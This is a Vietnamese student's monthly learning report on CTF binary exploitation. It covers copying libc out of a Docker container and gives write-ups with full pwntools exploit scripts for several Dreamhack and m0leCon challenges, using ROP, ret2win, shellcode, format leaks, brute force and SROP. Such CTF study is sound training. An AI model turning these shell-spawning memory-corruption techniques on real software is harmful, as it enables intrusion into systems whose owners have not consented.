# Báo cáo tháng 11 ## Các kiến thức học được về docker - Do là mình vừa mới đụng độ 1 chall mà mình chỉ có mỗi ý tưởng xài libc mới ra - Mà xui là dò libc trên libc.rip cũng ko ra nên mình bắt đầu nghĩ tới việc lợi dụng dockerfile đc cho kèm theo để lấy libc chuẩn với server - Mình cũng làm quen được với 1 số lệnh cơ bản của docker gồm: - docker ps: in ra các container đang mở - docker images: in các images đang tồn tại - docker kill/stop container_id/name : kill là tắt lập tức container đang mở và có thể mất dữ liệu, stop thì tắt từ từ container - docker build -t image_name . : -t là tags, kí hiệu cho việc muốn đặt tên cho image đc tạo ra, dấu '.' là signal cho máy tìm dockerfile ngay tại đường dẫn hiện tại để tạo image dựa vào đó - docker run -d -p 1337:3636 --rm image_name: -d là detach, khiến cho container chạy ẩn, ko chiếm terminal, -p là chọn cổng giữa local với server ảo mà mình tạo ra. - Điều quan trọng ở khúc -p là phải xem thử server đang listen hoặc cho kết nối ở cổng nào thì chương trình thực thi thì mới chọn đc - Ví dụ trên là mình kết nối cổng 1337 trên máy mik với cổng 3636 trên máy server - --rm là signal cho máy sau khi tắt container thì xóa liền luôn để đỡ chiếm bộ nhớ - tiếp theo là image_name dùng để máy biết chạy container từ image nào - Vì mục tiêu của mik khi xài dockerfile là lấy libc chuẩn server nên mik sẽ thực hiện các bước sau: - chui vào container: docker exec -it <CONTAINER_ID> /bin/sh - tra thử địa chỉ chứa libc bằng lệnh ldd ./binary_file - Lúc này container sẽ cho mik coi path của libc trên server - ![image](https://hackmd.io/_uploads/HyROmSFZZe.png) - Vd path này là /lib/x86_64-linux-gnu/libc.so.6 - cứ thế mà sử dụng lệnh: docker cp container_id:/lib/x86_64-linux-gnu/libc.so.6 libc.so.6 sau khi quay lại terminal local - Lúc này mik đã copy được libc của server vô file libc.so.6 ở path hiện tại, nếu ko có file đó thì nó sẽ đc tạo ra với đúng tên y vậy - Sau đó chỉ cần pwninit rồi sử dụng libc như bth - Bonus: sau khi mình được mấy anh chỉ đường thêm thì mình học thêm được rằng có thể dùng trực tiếp: - docker exec -it <CONTAINER_ID> ldd binary_file - là sẽ lấy đc thẳng path lun, nên là mik rút thêm kiến thức là lệnh exec này nó giúp mik truy cập vào container và ghi cái lệnh ngay phía sau container id rồi in ra màn hình của mik ## challenge ### Lợi dụng dockerfile để lấy libc đúng với server nhanh #### Xrop lv3 - Author : Dreamhack - Đây là chall duy nhất mà mik đã sử dụng dockerfile để lấy libc nhanh sau khi đã bypass được cơ chế chặn của chall - Source code: ![image](https://hackmd.io/_uploads/Byg5cBF-Zl.png) - Ở chall này thì security bật gần như full - ![image](https://hackmd.io/_uploads/BJrC5SF-We.png) - Điều đáng chú ý ở chall này là nó xor từng byte trong input - Do đó, để bypass đc chall này thì cần đảo ngược lại thuật toán: - A xor B = C -> B xor C = A - Chú ý 1 chút thì chall này giữ nguyên byte cuối cùng của input - Nếu là vậy thì mik có thể đảo ngược thuật toán bằng cách xor trước từng byte từ byte cuối lên byte đầu - Lúc này chương trình sẽ xor ngược lại từ byte đầu về cuối và khiến nó quay trở lại input lúc đầu mà mik muốn gửi - Dựa vào ý tưởng trên thì mình đã có thể bypass được thuật toán xor và tiến vào kĩ thuật lấy shell hoặc flag của chương trình - Code giải chall: ```python= #!/usr/bin/env python3 from pwn import * exe = ELF("./prob_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-2.35.so") context.binary = exe if args.LOCAL: p = process([exe.path]) gdb.attach(p, gdbscript=''' #b*main+171 b*main+242 c ''') sleep(1) else: p = remote('host8.dreamhack.games', 9644) def xor(payload): """ list function change bytes from payload to integer each byte So list still differ each byte to integer Each integer will be a part of a list Thats why i can access each part by the loop below And xor it Thuật toán xài for ở đây hơi rối tí mik muốn copy byte cuối của target sang input_arr và xor từng byte từ dưới đếm lên Tiếp theo xor từng byte bên target với các byte đã được xor của input_arr Sau đó lưu vào input_arr vị trí vừa mới đc xor trùng với vị trí của target """ target = list(payload) input_arr = [0] * len(target) input_arr[-1] = target[-1] for i in range(len(target)-2, -1, -1): input_arr[i] = target[i] ^ input_arr[i+1] return bytes(input_arr) # libc pop_rdi = 0x000000000002a3e5 xor_rax_ret = 0x00000000000bab79 load = b'a\0'*12 +b'a' p.sendafter(b'Input: ', load) canary = u64(b'\0' + p.recvline()[-9:-2]) log.info("canary leak: " + hex(canary)) load = flat( b'A'*0x28 ) p.sendafter(b'Input: ', xor(load)) libc_leak = u64(p.recvline()[-7:-1] + b'\0\0') libc.address = libc_leak - 0x29d90 log.info("Libc leak: " + hex(libc_leak-0x80)) log.info("Libc base: " + hex(libc.address)) load = flat( b'exit'.ljust(24, b'\0'), canary, 1, pop_rdi + libc.address, next(libc.search(b'/bin/sh')), xor_rax_ret + libc.address, libc.sym['system'] ) p.sendafter(b'Input: ', xor(load)) p.interactive() ``` - Ý tưởng chính sau khi bypass đc xor loop là leak và sử dụng libc để gọi shell - Trong bài này thì mik đã thử tìm one_gadget, rop_chain và vùng binary có quyền thực thi thì mik đều ko tìm thấy. - Do đó biện pháp cuối cùng là sử dụng libc - Tuy nhiên, chall này ko đưa kèm libc mà chỉ có dockerfile - Do đó, mik có 2 cách tìm libc - 1 là làm như a trí, dò libc trên libc.rip - 2 là copy thẳng libc trên container tạo từ dockerfile ra - Và như đã nói ở trên, mik ko thể tìm ra libc trên libc.rip - Vì thế, mình sử dụng cách 2 là copy từ container - Để làm vậy thì mik trước hết phải sử dụng: - docker exec -it container_id /bin/sh : Lệnh này giúp mik trà trộn vô thẳng shell của container với -i là interactive, cho phép tương tác input từ bàn phím của mik, -t là tty, nó cho phép phần giao diện lúc nhập giống so với terminal bth cho dễ nhìn - Ko có -t -![image](https://hackmd.io/_uploads/rJH1fvtZ-x.png) - Có -t - ![image](https://hackmd.io/_uploads/S19XMDF-Zg.png) - Tiếp theo là sử dụng lệnh ldd chall, ở đây là ldd prob thì nó sẽ hiện như vầy - ![image](https://hackmd.io/_uploads/SyhLfwKWZg.png) - Lúc này path chứa libc là "/lib/x86_64-linux-gnu/libc.so.6" - giờ mik chỉ cần copy bằng các thoát nhưng ko tắt container, quay về shell local - Sử dụng lệnh docker cp 55f5bda45bd1:/lib/x86_64-linux-gnu/libc.so.6 libc.so.6 - Lúc này mik sẽ copy file libc.so.6 từ container có ID: 55f5bda45bd1 sang file libc.so.6 - Lý do mik xài absolute path bên container là vì mik muốn copy ko màng path mà mik đang ở trong container - còn libc.so.6 là tên file mik muốn copy sang, nếu ko tồn tại thì nó sẽ tự tạo file và chứa nội dung của libc y hệt libc trong container - Kết hợp lại thì mik được payload như trên và lấy đc flag dễ dàng hơn - Cách này có thể coi là biện pháp cuối nếu như mik quá bí và chall ko có libc ### dragon_quest - author: m0leCon - event in ctftime - Chall này thực chất chỉ là overwrite return address, nó có gets và ko có canary nên khá dễ - Điều làm cho chall này hơi thử thách tí là phải decompile bằng ida và code khá dài và mik chx quen đọc code từ ida lắm - idea ngắn từ chall này là check điều kiện![image](https://hackmd.io/_uploads/H1IK8wYWbl.png) - Như ta thấy là khi check điều kiện thì nếu health = 3337 thì mik sẽ được phép nhập gets - ![image](https://hackmd.io/_uploads/S1ARLwFZbe.png) - Lúc này check biến v5 thì nó nằm trên stack - ![image](https://hackmd.io/_uploads/rkq7PPFW-x.png) - Đồng thời PIE off nên cứ ret2win như bth, bởi vì chall có hàm win - Code giải chall: ```python= #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./dragon_quest') # p = process(exe.path) p = remote('dragonquest.challs.m0lecon.it', 5555) # gdb.attach(p, gdbscript=''' # b*0x0000000000401B49 # c # ''') # sleep(1) p.sendlineafter(b'> ', b'1') p.sendlineafter(b'(max 19 chars): ', b'a') p.sendlineafter(b'damage (1-1999): ', b'1665') p.sendlineafter(b'> ', b'1') p.sendlineafter(b'(max 19 chars): ', b'b') p.sendlineafter(b'damage (1-1999): ', b'3') p.sendlineafter(b'> ', b'4') for i in range(4): p.sendlineafter(b'> ', b'0') p.sendlineafter(b'> ', b'1') load = flat( b'A'*0x38, 0x401b57, 0x4018EF ) p.sendlineafter(b'Whisper your final taunt: ', load) p.interactive() ``` ### ascii_bof lv 2 - Author : Rootsqure - Web : dreamhack - Chall này cũng khá lạ đối với mik vì phải brute force, 1 kỹ thuật mik khá ít gặp - checksec: ![image](https://hackmd.io/_uploads/HknQ1uKW-x.png) - Chương trình cho phép mik nhập tới hết saved rip nhưng ở dây mik sẽ chỉ ghi đè 2 bytes của saved rip - chall này cx có code chặn ![image](https://hackmd.io/_uploads/HJcT1_FWWl.png) - Source code: - ![image](https://hackmd.io/_uploads/rJ_WWOtb-g.png) ![image](https://hackmd.io/_uploads/r1gfWdY-bg.png) ![image](https://hackmd.io/_uploads/SyCG-Ot-Wl.png) - Ở đây, nó xét từng byte so với 32 và 127 - Nên mik chỉ cần nhập full A cho tới 2 byte đầu của saved rip - Ở 2 byte đầu của saved rip thì mik sẽ nhập 2 byte bất kì với mỗi byte >32 và khác 127 rồi brute force - Điều đáng chú ý là khi PIE on thì 12 bit đầu của saved rip sẽ luôn cố định giá trị, chỉ còn 4 bit tiếp theo là random - Mà với PIE on thì 12 bit đầu luôn ko đổi - Do đó, mik sẽ ghi đè 2 byte đầu với 4 bit cuối là random, có tỉ lệ trúng là 1/16 - Tiếp theo là check xem payload có byte nào đổi sang dec thì trúng điều kiện exit ko - Từ đó, mik sẽ có payload như sau: ```python= #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./main', checksec=False) p = process(exe.path) # p = remote("host8.dreamhack.games", 8710) """ 0x339 0x1339 """ # gdb.attach(p,) # input() load = b'A'*0x18 load += p16(0x533e) p.sendafter(b'Welcome!', load) p.interactive() ``` - 1 payload tương đối ngắn nhưng cho mik thêm kiến thức là ko nhất thiết phải leak binary khi PIE on mà có thể dựa vào cơ chế 12 bit ko đổi mà brute force với rip ### memory_leakage lv 1 - Author : JSec - Dreamhack - Chall này thì lợi dụng tính năng của %s để leak flag là xong - Source code: ```python= #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <string.h> FILE *fp; struct my_page { char name[16]; int age; }; // void alarm_handler() { // puts("TIME OUT"); // exit(-1); // } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } int main() { struct my_page my_page; char flag_buf[56]; int idx; memset(flag_buf, 0, sizeof(flag_buf)); initialize(); while(1) { printf("1. Join\n"); printf("2. Print information\n"); printf("3. GIVE ME FLAG!\n"); printf("> "); scanf("%d", &idx); switch(idx) { case 1: printf("Name: "); read(0, my_page.name, sizeof(my_page.name)); printf("Age: "); scanf("%d", &my_page.age); break; case 2: printf("Name: %s\n", my_page.name); printf("Age: %d\n", my_page.age); break; case 3: fp = fopen("/flag", "r"); fread(flag_buf, 1, 56, fp); break; default: break; } } } ``` - Code giải chall: ```python! #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./memory_leakage',checksec=False) p = process(exe.path) # p = remote("host8.dreamhack.games", 31337) # gdb.attach(p, gdbscript=''' # b*0x804876b # c # ''') # input() #solved p.sendlineafter(b'> ', b'3') p.sendlineafter(b'> ', b'1') p.sendafter(b'Name: ', b'A'*16) p.sendlineafter(b'Age: ', b'9223372036854775807') p.sendlineafter(b'> ', b'2') p.interactive() ``` ### Chall cơ bản - stack aligne test lv1 - Author : YEONBA - Dreamhack - Chall này overwrite return address hợp lý là xong - off_by_one_001 lv1 - Author : dreamhack - Chall này nhập full input thì input thứ n nó sẽ tự đặt là null, thỏa với điều kiện của chall là có shell - Soure code off_by_one_001: ```clike! #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void read_str(char *ptr, int size) { int len; len = read(0, ptr, size); printf("%d", len); ptr[len] = '\0'; } void get_shell() { system("/bin/sh"); } int main() { char name[20]; int age = 1; initialize(); printf("Name: "); read_str(name, 20); printf("Are you baby?"); if (age == 0) { get_shell(); } else { printf("Ok, chance: \n"); read(0, name, 20); } return 0; } ``` ### basic_exploitation000 lv2 - Author : dreamhack - đây cx là 1 bài đơn giản như 2 bài trên, cái lạ ở đây là nó xài 32bit nên có thể mik quên 1 chút code 32 bit thôi - nó là 1 dạng r2shellcode, đã leak địa chỉ stack, tất cả security ko bật nên dĩ nhiên là ret2shellcode trên stack - Source: ```clike! #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } int main(int argc, char *argv[]) { char buf[0x80]; initialize(); printf("buf = (%p)\n", buf); scanf("%141s", buf); return 0; } ``` - code giải: ```python! #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./basic_exploitation_000') # 0x8049df0 # p = process(exe.path) p = remote("host3.dreamhack.games", 10072) # gdb.attach(p, gdbscript=''' # b*0x080485f5 # b*0x804860c # c # ''') # input() p.recvuntil(b'buf = (') stack_leak = int(p.recvuntil(b')')[:-1], 16) log.info("Stack leak: " + hex(stack_leak)) shellcode = asm(f""" xor ecx, ecx xor edx, edx push 6845231 sub esp, 0x4 mov dword ptr [esp], 1852400175 mov ebx, esp mov eax, 0x3b sub eax, 0x30 int 0x80 """, arch='i386' ) load = shellcode.ljust(0x80,b'P') load+= p32(stack_leak) load+= p32(stack_leak) p.sendlineafter(b'\n', load) p.interactive() ``` ### basic_rop_x64 lv 2 - Author : dreamhack - Bài này là 1 bài rop chain bth thôi - Nó bị lâu ở chỗ phải stack pivot tới 1 địa chỉ rw cao để có thể nhập input lần 2 - Bởi vì chall này chỉ cho nhập input 1 lần, do đó sau khi leak libc thì phải quay ngược lại địa chỉ hàm read để nhập tiếp - Lúc này rbp mik đã set up trc ở 1 địa chỉ rw được và thực hiện ropchain dựa theo đó - Source: ```clike! #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } int main(int argc, char *argv[]) { char buf[0x40] = {}; initialize(); read(0, buf, 0x400); write(1, buf, sizeof(buf)); return 0; } ``` - Code giải: ```python! #!/usr/bin/env python3 from pwn import * exe = ELF("./basic_rop_x64_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-2.35.so") context.binary = exe if args.LOCAL: p = process([exe.path]) gdb.attach(p, ''' b*0x00000000004007f8 c ''') input() else: p = remote("host8.dreamhack.games", 14978) # binary pop_rdi = 0x0000000000400883 # libc pop_rsi = 0x000000000002be51 pop_rdx_r12 = 0x000000000011f497 shell = 0x1d8698 # 0x601ef0 load = b'A'*0x40 load += p64(0x601ef0) load += p64(pop_rdi) # ret load += p64(exe.got['write']) load += p64(exe.plt['puts']) load += p64(0x00000000004007e7) p.send(load) p.recvuntil(b'A'*0x40) write_leak = u64(p.recv(6) + b'\0\0') libc.address = write_leak - libc.sym['write'] log.info("write leak: " + hex(write_leak)) log.info("libc base leak: " + hex(libc.address)) load = b'A'*0x40 load += p64(0x601ef0) load += p64(pop_rdi) # ret load += p64(shell + libc.address) load += p64(pop_rsi + libc.address) load += p64(0) load += p64(pop_rdx_r12 + libc.address) load += p64(0) load += p64(0) load += p64(libc.sym['system']) p.send(load) p.interactive() ``` # Tiến trình học video của anh trí ## srop - Chall này mik ko biết là do khác kiến trúc máy tính hay sao mà 1 số gadget mình tìm được khác với anh trí - Cho nên là mik đã nhờ vào căn bản mà a trí chỉ trong video để tự làm lại chall này cho phù hợp với trg hợp của mình - Source như trong video: ```clike! // gcc -fno-stack-protector -no-pie sigrop.c -o sigrop #include <stdio.h> #include <unistd.h> __asm__( ".intel_syntax noprefix;" "pop rax;" "syscall;" ".att_syntax;" ); int main(int argc, const char **argv, const char **envp) { char buf[16]; setbuf(stdin, NULL); read(0, buf, 0x500); return 0; } ``` - Code giải chall: ```python! #!/usr/bin/env python3 from pwn import * exe = ELF('sigrop', checksec=False) # libc = ELF('', checksec=False) context.binary = exe info = lambda msg: log.info(msg) s = lambda data, proc=None: proc.send(data) if proc else p.send(data) sa = lambda msg, data, proc=None: proc.sendafter(msg, data) if proc else p.sendafter(msg, data) sl = lambda data, proc=None: proc.sendline(data) if proc else p.sendline(data) sla = lambda msg, data, proc=None: proc.sendlineafter(msg, data) if proc else p.sendlineafter(msg, data) sn = lambda num, proc=None: proc.send(str(num).encode()) if proc else p.send(str(num).encode()) sna = lambda msg, num, proc=None: proc.sendafter(msg, str(num).encode()) if proc else p.sendafter(msg, str(num).encode()) sln = lambda num, proc=None: proc.sendline(str(num).encode()) if proc else p.sendline(str(num).encode()) slna = lambda msg, num, proc=None: proc.sendlineafter(msg, str(num).encode()) if proc else p.sendlineafter(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x000000000040119f c ''') sleep(1) if args.REMOTE: p = remote('') else: p = process([exe.path]) GDB() pop_rax_syscall = 0x0000000000401156 syscall = 0x0000000000401157 main = 0x0000000000401159 ret = 0x000000000040101a frame = SigreturnFrame() frame.rsp = 0x4048d0 frame.rbp = 0x4048d8 frame.rax = 0 frame.rdi = 0 frame.rdx = 0x636 frame.rsi = 0x4048e0 frame.rip = main # write /bin/sh load = flat( b'A'*0x18, pop_rax_syscall, 0x0f, bytes(frame), ) s(load) shell = 0x4048b8 frame = SigreturnFrame() frame.rsp = 0x4048d0 frame.rbp = 0x4048d8 frame.rax = 0x3b frame.rdi = shell frame.rdx = 0 frame.rsi = 0 frame.rip = syscall # load = flat( # pop_rax_syscall, 0x0f, # bytes(frame), # b'/bin/sh' # ) # input("Enter to send payload") # s(load) input("Enter 36 to next") load = flat( b'/bin/sh'.ljust(0x18, b'\0'), pop_rax_syscall, 0x0f, bytes(frame) ) s(load) p.interactive() ``` - Main idea của mik là sử dụng sigreturn giống anh trí - Điểm khác biệt đáng chú ý là gadget pop rax có hẳn syscall luôn - ![image](https://hackmd.io/_uploads/S1_dms5Zbe.png) - Tuy nhiên, sau khi thực hiện syscall thì chương trình quay trở lại hàm main - Để dễ hiểu thì bước đầu mik vẫn syscall gọi hàm sigreturn như thg - ![image](https://hackmd.io/_uploads/BJvkNs5Wbl.png) - Nhưng sau đó nó chương trình sẽ tự quay lại hàm main vì sau syscall là hàm main mà ![image](https://hackmd.io/_uploads/SyFMEjcZWg.png) - Nên mik chỉ cần chú ý set up rbp, rsp cho nó nằm ở địa chỉ binary cao và hợp lệ để thực thi main frame - Lúc này chỉ cần gửi lại payload và trỏ rsi đc thiết lập bởi sigreturn vô chỗ mik ghi /bin/sh trong payload và thực thi execve dựa vào sigreturn là lấy đc shell - Mà ở chall này mik còn rút kinh nghiệm là đôi khi mik sẽ bị lỗi hàm read nếu mik ko cho hàm main thực thi đủ thành phần của nó - Mặc dù mik cx ko rõ tại trong các chall khác mik cũng điều hướng chương trình vô mỗi khúc set up hàm read vẫn chạy được mà bên đây lại ko - Nếu mik điều hướng chương trình sau khi set up lại rbp và rsp, sau đó mik vô thẳng khúc set up read thì nó sẽ lỗi overwrite ret value trong hàm read ![image](https://hackmd.io/_uploads/H1KydiqbZx.png) - Để bị lỗi này thì có thể lấy code đã giải ở trên, sửa frame.rip = main thành frame.rip = main+43 thì sẽ gặp liền - Lý do thì mik debug thấy rằng mik đã bỏ qua khúc thiết lập stack frame của thg main - Do đó, rsp vẫn ở vị trí ngay trước rbp mà mik đã thiết lập sẵn cho dễ nhìn lúc đầu - Lúc thực hiện hàm read thì rsp sẽ bị trừ đi 8 byte để chừa saved rip về lại main - Tuy nhiên, lúc này rsp lại trỏ chung với rsp vô 1 địa chỉ - Cho nên là khi ghi thì mik đã lỡ tay ghi đè lên saved rip của read và khiến nó bị lỗi - Có 2 cách để fix cái này - 1 là cho điều hướng chương trình vô đầu hàm main luôn cho nó chừa stack frame, đỡ bị overwrite rip - Nhưng cách trên có nhược điểm là đối với các chall khác code dài hơn hoặc có thay đổi j đó thì sẽ hơi rối - Cách 2 sẽ dễ hơn là mik ghi khúc /bin/sh trên hình đó, đổi lại thành ropchain từ khúc đó lun, còn /bin/sh mik sẽ để ghi cuối cùng trong payload - Lúc này mik chỉ cần sửa lại rdi thành địa chỉ chứa /bin/sh trong payload, bước này chỉ cần check lại trong gdb thì sẽ có địa chỉ đó